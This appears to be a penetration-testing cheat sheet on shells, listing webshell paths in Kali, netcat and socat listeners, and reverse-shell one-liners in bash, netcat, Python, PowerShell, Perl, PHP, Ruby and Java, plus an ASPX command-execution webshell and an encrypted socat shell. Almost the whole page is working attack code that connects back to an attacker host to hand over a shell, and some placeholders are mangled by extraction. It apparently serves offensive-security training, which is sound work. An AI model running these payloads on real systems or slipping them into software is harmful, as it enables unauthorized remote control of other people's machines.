In computing, a shell is a user interface for access to an operating system's services. In general, operating system shells use either a command-line interface or graphical user interface, depending on a computer's role and particular operation.
-- Wikipedia
General
Webshells in Kali
Copy /usr/share/laudanum
/usr/share/webshells
GitHub - tennc/webshell: This is a webshell open source project
E.g. /usr/share/webshell/asp/webshell.asp
TTY
See Terminal config & TTY
Listeners
netcat
SANS Netcat cheat sheet
Note: Try common ports like 443 if not working otherwise
Listening using rlwrap
(makes e.g. arrow keys work in shell)
Copy rlwrap nc -lvnp < por t >
tcpdump
Listen for incoming icmp messages (like ping)
Copy sudo tcpdump -i tun0 icmp
sudo tcpdump ip proto \\ icmp -i tun0
Reverse shells
bash
Copy bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Copy "bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'"
Copy exec 5 <> /dev/tcp/ < i p > / < por t >
netcat
Copy nc -e /bin/sh < i p > < por t >
Copy rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1| nc < i p > < por t > > /tmp/f
python
Copy python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Powershell
See PowerShell
Reverse shell (from https://tryhackme.com/room/introtoshells)
Copy powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
perl
Copy perl -e 'use Socket;$I="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -I");};'
php
Linux: php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell · GitHub
Windows: windows-php-reverse-shell/Reverse Shell.php at master · Dhayalanb/windows-php-reverse-shell · GitHub
Copy php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby
Copy ruby -rsocket -e 'f=TCPSocket.open("<ip>",<port>).to_i;exec sprintf("/bin/sh -I <&%d >&%d 2>&%d",f,f,f)'
aspx
Copy /usr/share/webshells/aspx/cmdasp.aspx
Copy <%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("some cmd here")
o = cmd.StdOut.Readall()
Response.write(o)
%>
java
Copy r = Runtime . getRuntime ()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p . waitFor ()
Socat
socat - Multipurpose relay
Listener
Connect (Linux)
Copy socat TCP: < i p > : < por t > EXEC: "/bin/bash -li"
Connect (Windows)
Copy socat TCP: < i p > : < por t > EXEC:powershell.exe,pipes
Encrypted (and TTY)
Create cert
Copy openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
Listener
Copy socat OPENSSL-LISTEN: < por t > ,cert=shell.pem,verify= 0 FILE: ` tty ` ,raw,echo =0
Connect (Linux)
Copy socat OPENSSL: < i p > : < por t > ,verify= 0 EXEC: "/bin/bash -li" ,pty,stderr,sigint,setsid,sane